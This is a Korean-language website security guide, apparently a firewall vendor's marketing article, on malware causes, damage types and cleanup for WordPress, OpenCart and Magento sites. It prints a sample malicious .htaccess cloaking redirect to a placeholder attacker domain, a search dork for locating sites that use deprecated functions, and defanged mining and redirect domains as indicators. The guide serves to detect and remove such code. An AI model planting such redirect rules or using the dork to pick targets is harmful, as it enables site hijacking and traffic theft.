Computer >> 컴퓨터 >  >> 네트워킹 >> 네트워크 보안

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

맬웨어 공격은 비즈니스에 치명적인 타격을 입힙니다. 사업 운영이 마비되고, 금전적 손실과 평판 훼손, 나아가 고객 이탈까지 초래할 수 있습니다. 흥미로운 점은 대부분의 사업주들이 맬웨어에 실제로 감염된 후에야 그 심각성을 깨닫는다는 것입니다. "모두가 해킹당하기 전까지는 안전하다고 느낀다"는 말처럼, 지금까지 해킹을 당하지 않은 것은 단지 해커의 표적이 되지 않았을 뿐일 수 있습니다.

일단 감염되면 맬웨어라는 이 혼란스러운 문제의 원인, 결과, 해결 단계를 반드시 이해해야 합니다. 이 글에서는 맬웨어 공격의 주요 원인을 살펴보고, 감염된 웹사이트를 복구하고 재발을 예방하는 실질적인 방법까지 안내해 드립니다.

맬웨어 공격의 5대 주요 원인

1. 취약한 웹사이트 코드

좋은 제품이 방문자를 끌어모으듯, 잘못된 코드는 해커를 불러옵니다. 많은 경우 웹사이트 코드에는 특정 공격에 취약한 것으로 알려진 더 이상 지원되지 않는 함수(deprecated function)가 포함되어 있습니다. 해커들은 웹 전반에서 이런 함수를 검색하며, 해당 함수를 사용하는 사이트는 자동으로 해커의 레이더에 걸리게 됩니다.

예를 들어 아래와 같은 검색어로 더 이상 사용되지 않는 함수를 사용하는 웹사이트들을 손쉽게 찾아낼 수 있습니다:

site: wpseo get_value is deprecated since version WPSEO 1.5.0

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

2. 패치되지 않은 취약점

WordPress, OpenCart, Magento, Drupal, Joomla 같은 주요 CMS에서도 심각한 보안 취약점이 발견된 바 있으며, 이로 인해 수백만 개의 웹사이트가 공격에 노출됩니다. 시간이 지나면서 CMS 자체의 보안 수준은 향상되었지만, 문제는 이들 CMS가 사용하는 수천 개의 플러그인과 확장 기능입니다. 이들이 해커에게 쉬운 진입 통로가 되곤 합니다.

대표적인 사례가 2016년의 파나마 논문(Panama Papers) 유출 사건입니다. 수백만 개의 WordPress 사이트에서 사용하던 Revolution Slider 플러그인의 취약점이 원인이었습니다.

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

3. 입력값 검증(Input Sanitization) 부재

웹사이트에는 검색창, 로그인 영역, 회원가입 양식 등 다양한 입력 폼이 존재합니다. 사용자가 입력한 값이 적절히 검증·정제(sanitize)되지 않으면, 해커가 악성 코드를 삽입할 여지가 생깁니다. 이는 큰 노력 없이도 웹사이트 내부에 침입할 수 있는 쉬운 경로입니다. XSS(교차 사이트 스크립팅)와 SQL 인젝션 공격은 바로 입력값 검증 부재의 직접적인 결과물입니다.

실제로 Joomla는 8년 동안 악용되던 LDAP 취약점을 최근에야 패치했는데, 이 취약점의 원인 역시 입력 필드의 검증 부재였습니다.

4. 서버 수준의 보안 취약점

CMS나 웹사이트 코드보다는 덜 빈번하지만, 서버 자체도 맬웨어 공격의 원인이 되는 경우가 많습니다. 특히 서버가 공격당하면 단 한 번의 공격으로 수천 개의 웹사이트가 감염될 수 있습니다. Apache, Nginx, Azure, Tomcat 모두 취약점이 발견된 이력이 있습니다.

최근에는 8억 명 이상의 소비자 정보를 집계하던 Equifax가 해킹당했는데, 원인은 웹 서버의 취약점으로 알려졌습니다.

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

5. 웹사이트 방화벽 부재

모든 보안 모범 사례를 갖추었음에도 웹사이트가 맬웨어에 감염되는 경우가 있습니다. 바로 이 때문에 웹사이트를 24시간 내내 지켜보는 추가 보호 계층이 필수입니다. 웹 방화벽(WAF)은 정상 트래픽만 사이트에 도달하도록 보장하고, 악성 봇이나 해커는 문 앞에서 차단합니다.

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

위에서 언급한 것들이 웹사이트 맬웨어 공격의 가장 흔한 원인이지만, 원인은 이것만 있는 것은 아닙니다. 다음 체크리스트를 활용하면 웹사이트가 맬웨어의 표적이 되지 않도록 예방할 수 있습니다.

웹사이트 맬웨어 보호 체크리스트

  • ✔ 코드에 지원 종료(deprecated) 함수가 없음
  • ✔ 모든 입력값 검증 완료
  • ✔ FTP 대신 SFTP 사용
  • ✔ 취약한 SSH 버전 미사용
  • ✔ 웹사이트 방화벽 설치
  • ✔ 모든 플러그인 최신 업데이트
  • ✔ 최신 CMS 버전 실행
  • ✔ 강력한 cPanel 자격 증명 사용
  • ✔ Google Search Console에 경고 없음
웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

해커들은 맬웨어 공격 배후에 저마다 다른 동기를 가지고 있습니다. 동기에 따라 공격 유형과 웹사이트에 미치는 결과도 달라집니다. 어떤 해커는 금전적인 목적이고, 어떤 해커는 웹 서버 리소스를 활용해 더 큰 공격을 감행하는 등 더 거창한 의제를 가지기도 합니다.

맬웨어 공격의 주요 피해 유형 [인포그래픽]

  1. 민감한 데이터 유출
  2. 서비스 중단
  3. 서버 리소스의 악의적 사용
  4. SEO 오염(SEO Poisoning)
  5. 최종 사용자 대상 표적 공격

아래 인포그래픽에서 맬웨어 공격의 추가적인 피해 유형을 확인할 수 있습니다.

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

보안 모범 사례를 모두 준수했는데도 맬웨어가 웹사이트에 침투하는 경우가 있습니다. 바로 제로데이(zero-day) 취약점 때문입니다. 만약 웹사이트가 맬웨어에 감염되었다면, 공격 직후 신속하게 올바른 조치를 취하는 것이 피해를 최소화하는 열쇠입니다. 시간이 지날수록 파장은 커집니다. 더 많은 고객이 감염되거나, 구글이 악성 코드가 삽입된 상태로 웹사이트를 색인하는 상황은 반드시 피해야 합니다. 구글이 맬웨어가 있는 웹사이트를 색인하면 해당 사이트에 플래그가 지정되고, 그동안 쌓아온 SEO 성과가 크게 하락하게 됩니다.

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

맬웨어에 감염된 웹사이트 복구 단계

1. 검색 결과 확인하기

검색 결과는 감염 규모와 원인이 된 맬웨어 유형을 파악하는 데 도움이 됩니다. 일부 알려진 맬웨어는 웹사이트에 약국 제품 관련 링크를 생성하거나, 사이트의 SEO 성과를 악용하는 일본어 스팸을 심습니다. 구글에 아래 명령어를 입력하면 이런 유형의 공격을 파악하는 데 도움이 됩니다.

site:YourWebsite.com

만약 일본어 스팸에 감염되었다면 아래와 같은 페이지가 검색 결과에 나타납니다.

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

2. .htaccess 파일 점검하기

해커들은 보통 서버의 .htaccess 파일에 URL 리디렉션 코드를 삽입합니다. 이런 코드는 SEO 스팸 감염의 전형적인 특징입니다. 또한 구글 웹마스터 도구에서 사이트 소유권을 탈취하기 위해 .htaccess 파일에 코드를 추가하기도 합니다. 악성 코드를 발견하면 즉시 제거해야 합니다. 아래는 악성 .htaccess 파일의 실제 예시입니다.

RewriteEngine On
ErrorDocument 404 https://some-maliciousSite.com/yyy.php

* 참고: 파일 이름/유형은 무엇이든 될 수 있습니다.

RewriteCond %{HTTP_REFERER} .google. [OR]
RewriteCond %{HTTP_REFERER} .ask. [OR]
RewriteCond %{HTTP_REFERER} .yahoo. [OR]
RewriteCond %{HTTP_REFERER} .bing. [OR]
RewriteCond %{HTTP_REFERER} .dogpile. [OR]
RewriteCond %{HTTP_REFERER} .facebook. [OR]
RewriteCond %{HTTP_REFERER} .twitter. [OR]
RewriteCond %{HTTP_REFERER} .blog. [OR]
RewriteCond %{HTTP_COOKIE} !^._yyyy=yyyyy.$
RewriteCond %{HTTP_USER_AGENT} .Windows.$ [NC]
RewriteRule ^(.*)$ https://some-maliciousSite.com/yyy.php [R=301,L]

3. 인덱스(Index) 파일 진위 확인하기

해커들은 종종 인덱스 파일에 자신들의 악성 파일 경로를 포함시킵니다. 이렇게 하면 악성 파일이 웹사이트 전체에 삽입됩니다. 인덱스 파일 속 악성 코드는 매우 정상적으로 보이기 때문에 식별하기 어려운 경우가 많습니다. 마치 개발자가 다른 파일을 인덱스에 포함시킨 것처럼 보이기 때문입니다. 하지만 세밀히 검토하면 인덱스에 포함된 파일이 악성 코드임을 알 수 있습니다.

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

4. 구글 웹마스터 도구 활용하기

구글은 웹사이트를 지속적으로 스캔하며 맬웨어가 삽입된 정확한 페이지를 특정해 주는 경우가 많습니다. 이 정보는 웹마스터 도구의 '보안 문제(Security Issues)' 탭에서 확인할 수 있습니다. URL을 확인한 후에는 '크롤링(Crawl)' 탭으로 이동해 'Google로 가져오기(Fetch as Google)'를 클릭하세요. URL을 가져오면 구글이 코드에서 감염된 부분을 하이라이트로 표시해 줍니다.

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

일본어 SEO 스팸: 탐지 및 제거 방법

구글에서 자신의 웹사이트를 검색했을 때 일본어 문자가 나타난다면, 일본어 SEO 스팸에 감염되었을 가능성이 높습니다. 이 스팸의 특이한 점은 index.php나 .htaccess의 악성 코드를 정리한 후에도 감염이 계속된다는 것입니다. 이 맬웨어는 특정한 특징이 없으며, CMS마다 서로 다른 방식으로 삽입되기 때문입니다.

더욱 흥미로운 점은, 구글에 색인된 URL에 직접 접속하면 해당 페이지가 실제로는 존재하지 않는다는 것입니다. 일반 방문자에게는 404 오류가 표시되지만, 검색 엔진이 이 페이지들을 색인할 때는 일본어 문자가 나타납니다. 이것은 SEO 순위를 악용하는 클로킹(cloaking) 공격의 전형적인 사례입니다.

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

Pub2srv & Mobisla 감염 제거 방법

저희는 지난 몇 달간 OpenCart 및 WordPress 웹사이트를 표적으로 하는 특정 맬웨어 감염을 지켜봐 왔습니다. 흔히 pub2srv 맬웨어 감염이라 불리는 이 악성 코드는 웹사이트 방문자를 go.pub2srv.com, go.mobisla.com, go.oclaserver.com 같은 악성 도메인으로 리디렉션합니다.

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

WordPress 사용자라면 Pub2srv, Mobisla, Oclaserver 맬웨어를 확인해야 할 핵심 영역은 다음과 같습니다.

  • index.php
  • functions.php
  • 데이터베이스 테이블

OpenCart 사용자라면 반드시 아래 항목을 점검하세요.

  • oc_product_description 테이블
  • oc_category_description 테이블

웹사이트 링크가 스팸 사이트로 리디렉션되는 경우

이것은 모든 감염 유형 중 가장 성가신 문제입니다. 감염 범위에 따라 다르지만, 조기에 대응하지 않으면 상황이 악화됩니다. 사이트에 들어온 방문자가 악성 웹사이트나 피싱 페이지로 리디렉션되는 것입니다.

index.php에서 악성 코드를 찾고, CMS 코어 파일에서 불필요한 PHP 파일을 검색하며, 구글 서치 콘솔을 확인하는 것이 핵심 조치입니다.

OpenCart & Magento에서 가장 흔한 3가지 맬웨어 감염

1. Base64 인코딩 악성 코드

파일 안에 아래 이미지와 같은 암호문 같은 코드 조각이 있다면, 이 맬웨어에 감염되었을 가능성이 큽니다. 주로 해커가 Magento, OpenCart 또는 WordPress 스토어의 결제 게이트웨이를 표적으로 삼을 때 나타납니다.

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

2. 데이터베이스 감염

해커가 사이트 URL을 은폐(cloning)하고 SEO를 악용하려 할 때 데이터베이스 감염을 선택합니다. 상품 설명과 카테고리에 인코딩된 악성 코드 조각이 가득 채워집니다.

3. 위험한 백도어(Backdoor)

백도어는 맬웨어 그 자체보다 더 위험합니다. 백도어가 남아 있으면 일부 파일을 정리하더라도 해커가 웹사이트를 재감염시킬 수 있기 때문입니다. 해커들이 찾기 어려운 은밀한 위치에 백도어를 숨기기 때문에 탐지가 쉽지 않습니다.

OpenCart 맬웨어 주입 예방 방법

OpenCart는 인기 있는 이커머스 CMS인 만큼 해커, 봇, 사기꾼들의 주요 표적입니다. 목표는 대개 최종 고객의 신용카드 정보 탈취입니다. 버전에 따라 다양한 감염 원인이 관찰되었으며, 주요 원인은 다음과 같습니다.

  1. OpenCart 버전이 한 번도 업데이트되지 않은 경우
  2. 보안 관행이 취약한 플러그인 사용
  3. 웹 방화벽 또는 악성 봇 차단 기능 부재
  4. 무제한 파일 업로드 및 검증되지 않은 사용자 입력

Magento & OpenCart 신용카드 맬웨어 대응

신용카드 맬웨어(Card Hijack)란 Magento와 OpenCart 쇼핑몰에 악성 PHP/JavaScript 코드가 삽입되어 해커가 신용카드 정보를 가로챌 수 있게 되는 것을 말합니다. 이 새로운 신용카드 사기 방식은 무려 6개월간 탐지되지 않았습니다.

Magento, OpenCart 같은 이커머스 플랫폼의 인기가 높아짐에 따라 맬웨어 감염 사례도 늘고 있습니다. 해커와 사이버 범죄자들은 쇼핑몰 고객의 신용카드 정보를 훔치기 위해 CMS의 코어 파일을 변조하고 있습니다.

구글 교차 사이트 맬웨어(Cross Site Malware) 경고 해결 방법

구글은 웹사이트에 '교차 사이트 맬웨어' 경고를 표시하는 경우가 있습니다. 이 경고는 대개 웹사이트가 맬웨어에 감염되었거나 악의적인 다른 도메인에서 콘텐츠를 링크하거나 라이브러리를 로딩할 때 발생합니다. 구글은 대체로 의심스러운 콘텐츠가 연결되는 출처 도메인을 함께 알려줍니다.

웹사이트 맬웨어 공격 완벽 대응 가이드: 원인, 피해 유형, 해결 방법까지 한눈에

즉각적인 해결 조치는 교차 사이트 맬웨어 경고를 유발하는 도메인/URL을 웹사이트 전체 코드에서 검색하는 것입니다. SSH 콘솔에서 다음 명령어로 확인할 수 있습니다. 여기서 /var/www는 웹사이트 홈 디렉터리의 경로여야 하며, URL은 구글이 지정한 문제 도메인으로 교체합니다.

WordPress, OpenCart, Magento 사이트를 감염시키는 크립토 마이닝 맬웨어 제거 방법

암호화폐의 부상과 며칠 만에 부자가 될 수 있는 힘 덕분에, 해커들은 이제 웹사이트를 표적해 크립토 마이닝 맬웨어를 감염시키기 시작했습니다. 해커들은 CoinHive라는 서비스를 사용합니다. CoinHive는 원래 웹사이트 운영자가 광고 대안으로 트래픽을 수익화하기 위해 사용하는 서비스입니다.

CoinHive는 웹사이트에 JavaScript로 설치되어 Monero 블록체인을 이용해 암호화폐를 채굴합니다. 웹사이트 운영자가 자발적으로 CoinHive를 사용해 트래픽을 수익화하는 것 자체는 문제가 아니지만, 해커들은 해킹한 웹사이트에 몰래 채굴 JavaScript를 설치하고 해당 사이트의 리소스로 코인을 채굴합니다. 주로 사용되는 도메인은 다음과 같습니다.

  • ads.locationforexpert[.]com
  • camillesanz[.]com/lib/status.js
  • security.fblaster[.]com
  • fricangrey[.]top/redirect_base/redirect.js
  • alemoney[.]xyz/js/stat.js
  • africangirl[.]top/redirect_base/redirect.js

WordPress & Joomla 사이트가 느려졌다면? Cloki 맬웨어가 원인일 수 있습니다

Cloki 맬웨어는 다양한 PHP 기반 웹사이트에 혼란을 일으키고 있는 상당히 위험한 맬웨어입니다. 가장 많이 감염되는 CMS는 WordPress와 Joomla입니다. Cloki 맬웨어의 주요 증상은 다음과 같습니다.

  • 웹사이트 속도 저하
  • 호스팅 업체로부터 과도한 리소스 사용 통보
  • 서버에 식별되지 않는 크론(cron) 작업 존재
  • 메일 서버 오작동

Cloki 맬웨어는 cPanel이나 SSH 접근 권한 없이도 코어 서버 명령을 실행할 수 있습니다. 따라서 맬웨어 스캔 후 모든 크론 작업을 꼼꼼히 검토하는 것이 좋습니다.

결론

저희는 매달 수백 개의 웹사이트를 맬웨어로부터 정화하고 있습니다. 놀랍게도 이 웹사이트들의 80%는 소유주가 저희에게 도움을 요청하기 최소 2개월 전부터 이미 감염되어 있었습니다. 공격을 유발한 취약점이 얼마나 오랫동안 패치되지 않은 채 방치되었는지 짐작해 보십시오. 모든 플러그인을 최신 상태로 유지하고, 웹사이트 기술 스택 관련 보안 트렌드를 꾸준히 확인하며, 패치가 배포되는 즉시 적용하는 선제적인 자세가 중요합니다.

수많은 웹사이트 운영자들과 함께 일하면서 깨달은 사실이 있습니다. 사업주는 판매, SEO, 마케팅, 재고 관리 등 처리해야 할 일이 너무 많아 보안은 뒷전으로 밀려나기 쉽다는 것입니다. 그리고 보안은 마치 다루고 싶지 않은 '방 안의 코끼리'처럼 방치되곤 합니다.

저희 웹 방화벽은 사업주로부터 보안 부담을 덜어주는 플러그 앤 플레이(plug-n-play) 솔루션으로, 사용 중인 CMS에 맞게 사전 구성되어 제공됩니다. 코딩이나 IT 지식이 전혀 필요 없으며, 설치에는 단 5분이면 충분합니다. 보안을 그만큼 간단하게 만들어, 판매와 마케팅 등 핵심 업무에 집중할 시간을 드립니다.

다음 단계는?

맬웨어에 감염된 웹사이트를 몇 시간 내에 복구하고 싶다면 지금 문의하세요.
개발자라면 무료로 다운로드할 수 있는 보안 코딩 체크리스트를 받아보세요.